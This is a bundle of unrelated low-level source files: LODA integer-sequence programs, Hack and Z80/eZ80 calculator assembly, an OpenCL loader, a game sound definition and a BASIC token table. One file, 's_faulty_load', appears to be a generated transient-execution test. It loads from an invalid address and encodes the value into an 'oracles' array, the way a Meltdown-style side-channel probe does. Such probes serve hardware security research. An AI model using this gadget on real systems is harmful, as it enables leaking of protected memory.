; IN: RAX = Address of lock variable
; OUT: Nothing. All registers preserved.
b_smp_unlock:
btr word [rax], 0 ; Release the lock (Bit 0 cleared to 0)
ret ; Lock released. Return to the caller
; -----------------------------------------------------------------------------
; =============================================================================
; EOF
|
#pragma once
#include <string>
#include <memory>
#include <CL/cl.hpp>
#include <bwgl/bwgl.hpp>
#include "OCL_CALL.hpp"
#include "paths.hpp"
#include "make_unique.hpp"
namespace util {
inline std::string ConvertToCLDefines(const uint nDefines,
const std::string *args) {
std::stringstream ss;
for (uint i = 0; i < nDefines; ++i) {
ss << "#define " << args[2 * i] << " " << args[2 * i + 1] << std::endl;
}
return ss.str();
}
inline std::unique_ptr<cl::Program> LoadCLProgram(const std::string &kernelName,
cl::Context &context,
cl::Device &device,
const std::string &prefix = "") {
std::unique_ptr<cl::Program> program = nullptr;
std::string kernelSource = "";
if (bwgl::TryReadFromFile(KERNELPATH(kernelName), kernelSource)) {
OCL_ERROR;
OCL_CHECK(program = make_unique<cl::Program>(context,
prefix + "\n" + kernelSource,
true,
CL_ERROR));
if (*CL_ERROR == CL_BUILD_PROGRAM_FAILURE) {
std::cerr << "Error building: "
<< program->getBuildInfo<CL_PROGRAM_BUILD_LOG>(device)
<< std::endl;
program = nullptr;
}
}
return program;
}
}
|
; A082752: Duplicate of A023758.
; 1,2,3,4,6,7,8,12,14,15,16,24,28,30,31,32,48,56,60,62,63,64,96,112,120
mov $8,$0
mov $10,2
lpb $10
clr $0,8
mov $0,$8
sub $0,1
mov $5,$0
mov $7,$0
add $7,1
sub $10,1
lpb $7
clr $0,5
mov $0,$5
sub $7,1
sub $0,$7
cal $0,25676 ; Exponent of 8 (value of i) in n-th number of form 8^i*9^j.
mov $4,2
pow $4,$0
add $1,$4
div $1,2
mul $1,2
sub $1,1
div $1,2
add $1,1
add $6,$1
lpe
lpe
mov $1,$6
add $1,1
|
; A024170: Expansion of 1/((1-x)(1-6x)(1-9x)(1-10x)).
; Submitted by Jon Maiga
; 1,26,447,6412,83153,1012158,11803219,133502864,1476280245,16046160130,172084379831,1825884161556,19206817023577,200615621740742,2083177317949083,21525527306347288,221502445537069949,2271269319624406794,23219018846475435775,236747850548524680860,2408501851629307792161,24454254955930395227086,247865835462084418740707,2508568875422136049959072,25354889127490593248499013,255971728750674663140806418,2581523029486739022804260679,26011483200875764643571474724,261881115531963673533253155305
add $0,2
lpb $0
sub $0,1
add $2,2
mul $2,6
sub $2,9
mul $3,10
add $3,$1
mul $1,9
add $1,$2
lpe
mov $0,$3
div $0,3
|
@R0
D=M // D = first number
@R1
D=D-M // 85-50 = 30 > 0
@DGREATER
D;JGT
//DLESSER
@R1
D=M
@R2
M=D
@EXIT
0;JMP
(DGREATER)
@R0
D=M
@R2
M=D
@EXIT
0;JMP
(EXIT)
@EXIT
0;JMP |
; A022314: a(n) = a(n-1) + a(n-2) + 1, with a(0) = 0, a(1) = 9.
; 0,9,10,20,31,52,84,137,222,360,583,944,1528,2473,4002,6476,10479,16956,27436,44393,71830,116224,188055,304280,492336,796617,1288954,2085572,3374527,5460100,8834628,14294729,23129358,37424088,60553447,97977536,158530984,256508521,415039506,671548028,1086587535,1758135564,2844723100,4602858665,7447581766,12050440432,19498022199,31548462632,51046484832,82594947465,133641432298,216236379764,349877812063,566114191828,915992003892,1482106195721,2398098199614,3880204395336,6278302594951,10158506990288
mov $1,1
mov $2,9
lpb $0
sub $0,1
mov $3,$2
mov $2,$1
add $1,$3
lpe
sub $1,1
mov $0,$1
|
Sound36_SpikesMove_Header:
smpsHeaderStartSong 2
smpsHeaderVoiceNull
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cPSG3, Sound36_SpikesMove_PSG3, $00, $00
; PSG3 Data
Sound36_SpikesMove_PSG3:
smpsModSet $01, $01, $F0, $08
smpsPSGform $E7
dc.b nE5, $07
Sound36_SpikesMove_Loop00:
dc.b nG6, $01
smpsPSGAlterVol $01
smpsLoop $00, $0C, Sound36_SpikesMove_Loop00
smpsStop
|
; Copyright 2015-2020 Matt "MateoConLechuga" Waltz
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; 3. Neither the name of the copyright holder nor the names of its contributors
; may be used to endorse or promote products derived from this software
; without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; routines for accessing flash drive data on usb
usb_device_ptr:
dl 0
usb_device_valid:
db 0
msd_sector_buffer:
rb 512
msd_struct:
rb 30
fat_struct:
rb 80
fat_partitions:
rb 80
fat_file:
dl 0
fat_path:
rb 260 ; current path in fat filesystem
fat_sector:
rb 512
usb_handle_event:
ld iy,0
add iy,sp
ld a,(iy + 3)
cp a,4
jq nz,.notenabled
ld hl,(iy + 6)
ld (usb_device_ptr),hl
ld a,$ff
ld (usb_device_valid),a
.notenabled:
cp a,1
jq z,.invalidate
cp a,3
jq z,.invalidate
xor a,a
sbc hl,hl
ld iy,ti.flags
ret
.invalidate:
xor a,a
sbc hl,hl
ld (usb_device_valid),a ; if a disconnect event, go home
ld iy,ti.flags
ret
usb_init:
xor a,a
sbc hl,hl
ld (usb_device_valid),a
ld (usb_selection),a
ld (current_selection),a
ld (current_selection_absolute),hl
ld hl,fat_path
ld (hl),'/' ; root path = "/"
inc hl
ld (hl),a
call gui_draw_core
ld iy,ti.flags
call libload_load
ld iy,ti.flags
jq nz,usb_not_available.libload
ld bc,4
push bc
ld c,0
push bc
push bc
ld bc,usb_handle_event
push bc
call lib_usb_Init
ld iy,ti.flags
pop bc,bc,bc,bc
ld a,l
or a,a
jq nz,usb_not_available ; probably not the right thing to go to
call usb_wait_gui
call util_setup_apd
.notyetvalid:
call lib_usb_WaitForInterrupt
ld a,l
or a,a
jq nz,usb_detach ; if error, detach
call util_get_key_nonblocking
cp a,ti.skClear
jq z,usb_detach
ld a,(usb_device_valid)
or a,a
jq z,.notyetvalid
ld bc,msd_sector_buffer
push bc
ld bc,(usb_device_ptr)
push bc
ld bc,msd_struct
push bc
call lib_msd_Init
ld iy,ti.flags
pop bc,bc,bc
ld a,l
or a,a
jq nz,usb_invaliddevice
.initedmsd:
ld bc,8 ; gets up to 8 available partitions on the device
push bc
ld bc,fat_partition_num
push bc
ld bc,fat_partitions
push bc
ld bc,msd_struct
push bc
call lib_fat_Find
ld iy,ti.flags
pop bc,bc,bc,bc
ld a,0
fat_partition_num := $-1
or a,a
jq z,usb_invaliddevice
sbc hl,hl
ld l,a
ld (number_of_items),hl
dec a
jr nz,select_valid_partition ; if there's only one partion, select it
jr select_valid_partition.selected_partition
select_valid_partition:
call view_usb_partitions
.get_partition:
call util_get_key
cp a,ti.skClear
jp z,usb_detach
cp a,ti.skMode
jp z,usb_settings_show
cp a,ti.skUp
jq z,usb_partition_move_up
cp a,ti.skDown
jq z,usb_partition_move_down
cp a,ti.sk2nd
jr z,.selected_partition
cp a,ti.skEnter
jr z,.selected_partition
jr .get_partition
.selected_partition:
xor a,a
sbc hl,hl
ld l,0
usb_selection := $ - 1
ld h,7 ; partition structure is 7 bytes
mlt hl
ld bc,fat_partitions
add hl,bc
push hl
ld bc,fat_struct
push bc
call lib_fat_Init
pop bc,bc
compare_hl_zero
jr z,.fat_init_completed
push af ; check for an error during initialization
set_normal_text
print string_fat_init_error_0, 10, 30
print string_fat_init_error_1, 10, 50
pop af
or a,a
sbc hl,hl
ld l,a
call lcd_num_3
jq usb_not_available.wait
.fat_init_completed:
ld a,screen_usb
ld (current_screen),a
call fat_get_directory_listing ; start with root directory
jp main_start
usb_partition_move_up:
ld hl,select_valid_partition
push hl
ld a,(usb_selection)
or a,a ; limit items per screen
ret z
dec a
ld (usb_selection),a
ret
usb_partition_move_down:
ld hl,select_valid_partition
push hl
ld a,(number_of_items)
ld b,a
dec b
ld a,(usb_selection)
cp a,b ; limit items per screen
ret z
inc a
ld (usb_selection),a
ret
; organizes directories first then files
fat_get_directory_listing:
xor a,a
sbc hl,hl
ld (number_of_items),hl
ld a,(fat_path + 1)
or a,a
jr nz,.notroot ; if at root show exit directory
.notroot:
ld bc,0 ; don't skip any
push bc
ld b,2 ; allow for maximum of 512 directories
push bc
ld bc,item_location_base ; place to store
push bc
ld bc,1 ; get directories first
push bc
ld bc,fat_path ; path
push bc
ld bc,fat_struct ; global fat state
push bc
call lib_fat_DirList
ld iy,ti.flags
pop bc,bc,bc,bc,bc,bc
inc hl
compare_hl_zero
dec hl
jq z,.error
ld (number_of_items),hl
ld bc,18 ; each entry is 18 bytes
call ti._imulu
ld de,item_location_base
add hl,de
.find_files:
ld bc,0 ; don't skip any
push bc
ld b,3 ; allow for maximum of 768 files
push bc
push hl
ld c,0 ; get files
push bc
ld bc,fat_path ; path
push bc
ld bc,fat_struct ; global fat state
push bc
call lib_fat_DirList
ld iy,ti.flags
pop bc,bc,bc,bc,bc,bc
inc hl
compare_hl_zero
dec hl
jq z,.error
ld bc,(number_of_items)
add hl,bc
ld (number_of_items),hl ; number of items in directory
ret
.error:
xor a,a
sbc hl,hl
ld (number_of_items),hl ; just do this...
ret
usb_show_path:
ld hl,fat_path
jp gui_show_description
usb_settings_show:
xor a,a
ld (usb_selection),a
call lib_usb_Cleanup
ld iy,ti.flags
call libload_unload
jp settings_show
; returns the corresponding string
usb_check_extensions:
push af
bit drawing_selected,(iy + item_flag)
jr z,.not_current
res item_is_ti,(iy + item_flag)
res item_is_prgm,(iy + item_flag)
.not_current:
ld de,sprite_file_unknown
ld bc,string_unknown
ld hl,(usb_filename_ptr) ; move to the extension
.get_extension:
ld a,(hl)
or a,a
jr z,.unknown
cp a,'.'
jr z,.found_extension
inc hl
jr .get_extension
.found_extension:
inc hl
ld a,(hl)
cp a,'8'
jr nz,.unknown
inc hl
ld a,(hl)
cp a,'x'
jr z,.tios
cp a,'X'
jr z,.tios
.unknown:
push bc
pop hl
pop af
ret
.tios:
bit drawing_selected,(iy + item_flag)
jr z,.not_current_ti
set item_is_ti,(iy + item_flag)
.not_current_ti:
inc hl
ld a,(hl)
cp a,'P'
jr z,.tiprgm
cp a,'V'
jr z,.tiappvar
cp a,'p'
jr z,.tiprgm
cp a,'v'
jr z,.tiappvar
ld de,sprite_file_ti
ld hl,string_ti
pop af
ret
.tiprgm:
bit drawing_selected,(iy + item_flag)
jr z,.not_current_prgm
set item_is_prgm,(iy + item_flag)
.not_current_prgm:
ld de,sprite_file_ti
ld hl,string_ti
pop af
ret
.tiappvar:
ld de,sprite_file_appvar
ld hl,string_appvar
pop af
ret
usb_detach_only:
call lib_usb_Cleanup
ld iy,ti.flags
call libload_unload
ld iy,ti.flags
ret
usb_detach: ; detach the fat library hooks
call usb_detach_only
.home:
ld a,screen_programs
ld (current_screen),a
ld a,return_settings
ld (return_info),a
or a,a
sbc hl,hl
ld (scroll_amount),hl
bit setting_special_directories,(iy + settings_adv_flag)
jr z,.no_apps_dir
inc hl
.no_apps_dir:
ld (current_selection_absolute),hl
ld a,l
ld (current_selection),a
jp main_find
usb_wait_gui:
set_normal_text
print string_usb_waiting, 10, 30
print string_insert_fat32, 10, 50
print string_usb_info_6, 10, 90
ret
usb_invaliddevice:
call gui_draw_core
call usb_detach_only
set_normal_text
print string_usb_no_partitions, 10, 30
print string_insert_fat32, 10, 50
print string_usb_info_5, 10, 90
jq usb_not_available.wait
usb_not_available:
call usb_detach_only
.libload:
call gui_draw_core
set_normal_text
print string_usb_info_0, 10, 30
print string_usb_info_1, 10, 50
print string_usb_info_2, 10, 70
print string_usb_info_3, 10, 90
print string_usb_info_4, 10, 110
print string_usb_info_5, 10, 150
.wait:
call lcd_blit
call util_get_key
cp a,ti.skEnter
jp z,usb_init
cp a,ti.sk2nd
jp z,usb_init
jp usb_detach.home
usb_check_directory:
push bc,hl
ld bc,13
add hl,bc
bit 4,(hl)
pop hl,bc
ret
; get the size from the entry
usb_get_file_size:
ld iy,(item_ptr)
ld hl,(iy + 14) ; only gets the low bytes...
ld iy,ti.flags
ret
; move to the previous directory in the path
usb_directory_previous:
ld b,'/'
ld hl,fat_path
.find_end:
ld a,(hl)
or a,a
jr z,.find_prev
inc hl
jr .find_end
.find_prev:
ld a,(hl)
cp a,b
jr z,.found_prev
dec hl
jr .find_prev
.found_prev:
xor a,a
ld (hl),a
ld hl,fat_path
ld a,(hl)
cp a,b
ret z
ld (hl),b
inc hl
ld (hl),0
ret
usb_append_fat_path:
ld de,fat_path
ld a,(fat_path + 1)
or a,a
jr z,.current_end ; append directory to path
.append_loop:
ld a,(de)
or a,a
jr z,.current_end
inc de
jr .append_loop
.current_end:
ld a,'/'
ld (de),a
inc de
.append_dir_loop:
ld a,(hl)
ld (de),a
or a,a
ret z
inc de
inc hl
jr .append_dir_loop
fat_file_transfer_from_device:
ld a,(current_screen)
cp a,screen_usb
jq nz,main_loop
bit item_is_ti,(iy + item_flag)
jq z,main_loop
call gui_fat_transfer
call usb_open_tivar
jq nz,main_loop
call ti.PushOP1
call ti.ChkFindSym
call nc,ti.DelVarArc
call ti.PopOP1
ld hl,0
fat_file_size := $-3
call util_check_free_ram
jp c,main_start
call usb_validate_tivar
jp nz,main_start
ld a,(ti.OP1)
call ti.CreateVar ; create the variable in ram
; now we need to do the fun part of copying the data into the variable
; the first and last sectors are annoying so be lazy
ld a,(fat_sector + 69)
cp a,$80 ; check if archived
push af
call usb_copy_tivar
call ti.OP4ToOP1
pop af
jr nz,.notarchived
call ti.ChkFindSym
call cesium.Arc_Unarc
.notarchived:
call util_delay_one_second
jp main_start
; performs check on first sector of tivar to make sure
; that is actually looks somewhat okay before transfer
usb_validate_tivar:
ld a,(fat_sector) ; yeah that's good enough
cp a,$2a
ret
usb_open_tivar:
ld hl,(item_ptr)
.entry:
call usb_append_fat_path
ld bc,1
push bc
ld bc,fat_path ; open the file for reading
push bc
ld bc,fat_struct
push bc
call lib_fat_Open
ld iy,ti.flags
pop bc,bc,bc
ld (fat_file),hl
compare_hl_zero
jq z,.error
call usb_directory_previous
call fat_file_read_sector ; read the first sector to get the size information
jq nz,.error
ld hl,fat_sector + 70 ; size of variable to create
ld de,0
ld e,(hl)
inc hl
ld d,(hl)
ld (fat_file_size),de
ld hl,fat_sector + 59 ; name / type of variable
call ti.Mov9ToOP1
xor a,a
ret
.error:
xor a,a
inc a
ret
fat_file_read_sector:
push de
ld bc,fat_sector
push bc
ld bc,(fat_file)
push bc
call lib_fat_ReadSector
ld iy,ti.flags
pop bc,bc
pop de
ld a,l
or a,a
ret
; de -> destination
; fat_file_size = size
; fat_file = file descriptor
; must have read first sector of variable by this point
usb_copy_tivar_to_ram:
ld ix,76 - 1
ld hl,fat_sector + 76
jr usb_copy_tivar.entry
usb_copy_tivar:
ld ix,72 - 1
ld hl,fat_sector + 72
.entry:
ld bc,(fat_file_size)
.not_done:
push bc
inc ix
ld a,ixh
cp a,2 ; every 512 bytes read a sector
jr nz,.no_read
call fat_file_read_sector
jq nz,.error
ld ix,0
ld hl,fat_sector
.no_read:
pop bc
ldi
jq pe,.not_done
jq fat_file_close
.error:
call ti.PushOP1
call ti.OP4ToOP1
call ti.ChkFindSym
call nc,ti.DelVarArc
call ti.PopOP1
call ti.OP1ToOP4
ret
fat_file_close:
ld bc,(fat_file)
push bc
call lib_fat_Close
ld iy,ti.flags
pop bc
ret
fat_file_delete:
ld hl,(item_ptr)
call usb_append_fat_path
ld bc,fat_path
push bc
ld bc,fat_struct
push bc
call lib_fat_Delete
ld iy,ti.flags
pop bc,bc
call usb_directory_previous
ld hl,(current_selection_absolute)
ld de,(number_of_items)
inc hl
compare_hl_de
call nc,main_move_up
ld a,return_settings
ld (return_info),a
call fat_get_directory_listing
jq main_start
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x275, %rsi
lea addresses_D_ht+0xae35, %rdi
nop
nop
nop
nop
nop
cmp $55337, %rax
mov $36, %rcx
rep movsw
nop
nop
cmp $12368, %r13
lea addresses_normal_ht+0x1b625, %r14
nop
nop
nop
nop
nop
add $46057, %rcx
movl $0x61626364, (%r14)
nop
nop
nop
nop
nop
sub %r13, %r13
lea addresses_D_ht+0xc135, %rcx
nop
nop
nop
nop
dec %rdx
mov $0x6162636465666768, %r13
movq %r13, %xmm2
vmovups %ymm2, (%rcx)
nop
nop
nop
nop
add %r14, %r14
lea addresses_WC_ht+0x18ecd, %r13
dec %r14
mov (%r13), %cx
nop
nop
and $57720, %rdx
lea addresses_UC_ht+0x7cd5, %rdi
nop
nop
nop
and $10758, %r14
and $0xffffffffffffffc0, %rdi
vmovntdqa (%rdi), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %rcx
nop
nop
nop
nop
cmp $17739, %r13
lea addresses_WT_ht+0x12cd, %rsi
lea addresses_A_ht+0x9a75, %rdi
nop
sub %r15, %r15
mov $47, %rcx
rep movsl
xor %rdi, %rdi
lea addresses_UC_ht+0xfb35, %rsi
lea addresses_D_ht+0x9e5a, %rdi
nop
sub $6376, %r15
mov $109, %rcx
rep movsl
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_D_ht+0xf75, %rsi
inc %r15
movl $0x61626364, (%rsi)
nop
nop
nop
nop
cmp %r13, %r13
lea addresses_normal_ht+0xfb75, %r13
nop
nop
nop
and %r15, %r15
mov (%r13), %rsi
dec %r14
lea addresses_normal_ht+0x7ff5, %r13
nop
nop
nop
nop
nop
xor %rax, %rax
mov $0x6162636465666768, %rdx
movq %rdx, (%r13)
nop
nop
nop
sub $11951, %r13
lea addresses_UC_ht+0x251, %rsi
lea addresses_WC_ht+0x3f5, %rdi
clflush (%rsi)
nop
nop
nop
nop
sub $52932, %rax
mov $23, %rcx
rep movsw
xor $3235, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %rbp
push %rbx
push %rdi
push %rdx
// Faulty Load
mov $0x5bd2c30000000a75, %r12
nop
add $60459, %rdx
vmovaps (%r12), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r10
lea oracles, %rbp
and $0xff, %r10
shlq $12, %r10
mov (%rbp,%r10,1), %r10
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': True}, 'OP': 'REPM'}
{'00': 3353}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A186219: Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) before g(j) when f(i)=g(j), where f and g are the triangular numbers and squares. Complement of A186220.
; 1,3,5,7,8,10,12,13,15,17,19,20,22,24,25,27,29,31,32,34,36,37,39,41,43,44,46,48,49,51,53,54,56,58,60,61,63,65,66,68,70,72,73,75,77,78,80,82,83,85,87,89,90,92,94,95,97,99,101,102,104,106,107,109,111,113,114,116,118,119,121,123,124,126,128,130,131,133,135,136,138,140,142,143,145,147,148,150,152,153,155,157,159,160,162,164,165,167,169,171,172,174,176,177,179,181,183,184,186,188,189,191,193,194,196,198,200,201,203,205,206,208,210,212,213,215,217,218,220,222,223,225,227,229,230,232,234,235,237,239,241,242,244,246,247,249,251,253,254,256,258,259,261,263,264,266,268,270,271,273,275,276,278,280,282,283,285,287,288,290,292,293,295,297,299,300,302,304,305,307,309,311,312,314,316,317,319,321,322,324,326,328,329,331,333,334,336,338,340,341,343,345,346,348,350,352,353,355,357,358,360,362,363,365,367,369,370,372,374,375,377,379,381,382,384,386,387,389,391,392,394,396,398,399,401,403,404,406,408,410,411,413,415,416,418,420,422,423,425,427
mov $3,$0
add $3,1
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
sub $0,$3
mov $7,$0
mov $9,2
lpb $9
mov $0,$7
sub $9,1
add $0,$9
sub $0,1
mov $2,$0
bin $2,2
lpb $2
sub $2,$0
sub $0,1
sub $2,1
sub $2,$0
lpe
mov $4,$0
mov $6,$9
lpb $6
sub $6,1
mov $8,$4
lpe
lpe
lpb $7
mov $7,0
sub $8,$4
lpe
mov $4,$8
add $4,1
add $1,$4
lpe
|
.segment __current__ kmemmap.basic.code-start .append {
statement-handlers:
.word handler-syntax-error # 128, ABS
.word handler-syntax-error # 129, AND
.word handler-syntax-error # 130, ASC
.word handler-syntax-error # 131, ATN
.word handler-syntax-error # 132, AT
.word token-not-impl # 133, CALL
.word token-not-impl # 134, CATALOG
.word handler-syntax-error # 135, CHRS$
.word handler-syntax-error # 136, CHR$
.word handler-clear-screen # 137, CLS
.word token-not-impl # 138, CLOSE
.word token-not-impl # 139, CONTINUE,CONT
.word handler-syntax-error # 140, COS
.word token-not-impl # 141, DATA
.word token-not-impl # 142, DEFFN
.word token-not-impl # 143, DEFSUB
.word token-not-impl # 144, DIM
.word token-not-impl # 145, DO
.word token-not-impl # 146, ELSEIF
.word token-not-impl # 147, ELSE
.word token-not-impl # 148, ENDSUB
.word token-not-impl # 149, ENDFN
.word token-not-impl # 150, ENDIF
.word token-not-impl # 151, END
.word handler-syntax-error # 152, EXP
.word token-not-impl # 153, FOR
.word handler-syntax-error # 154, GETKEY$
.word token-not-impl # 155, GOSUB
.word handler-goto # 156, GOTO
.word handler-syntax-error # 157, HEX$
.word handler-home # 158, HOME
.word handler-if # 159, IF
.word token-not-impl # 160, INPUT
.word handler-syntax-error # 161, INT
.word handler-syntax-error # 162, IN
.word handler-syntax-error # 163, LEFT$
.word handler-syntax-error # 164, LEN
.word handler-let # 165, LET
.word handler-list # 166, LIST
.word token-not-impl # 167, LOAD
.word handler-syntax-error # 168, LOG
.word token-not-impl # 169, LOOP
.word handler-syntax-error # 170, LOWER$
.word handler-syntax-error # 171, MID$
.word handler-new # 172, NEW
.word token-not-impl # 173, NEXT
.word handler-syntax-error # 174, NOT
.word token-not-impl # 175, ON
.word token-not-impl # 176, OPEN
.word handler-syntax-error # 177, OR
.word handler-out # 178, OUT
.word handler-syntax-error # 179, PEEK
.word handler-poke # 180, POKE
.word handler-print # 181, PRINT,?
.word token-not-impl # 182, READ
.word handler-rem # 183, REM,'
.word token-not-impl # 184, RETURN
.word handler-syntax-error # 185, RIGHT$
.word handler-syntax-error # 186, RND
.word token-not-impl # 187, RENAME
.word token-not-impl # 188, REMOVE
.word token-not-impl # 189, RESTORE
.word handler-run # 190, RUN
.word token-not-impl # 191, SAVE
.word handler-syntax-error # 192, SGN
.word handler-syntax-error # 193, SIN
.word handler-syntax-error # 194, SPC
.word handler-syntax-error # 195, SQR
.word handler-syntax-error # 196, STEP
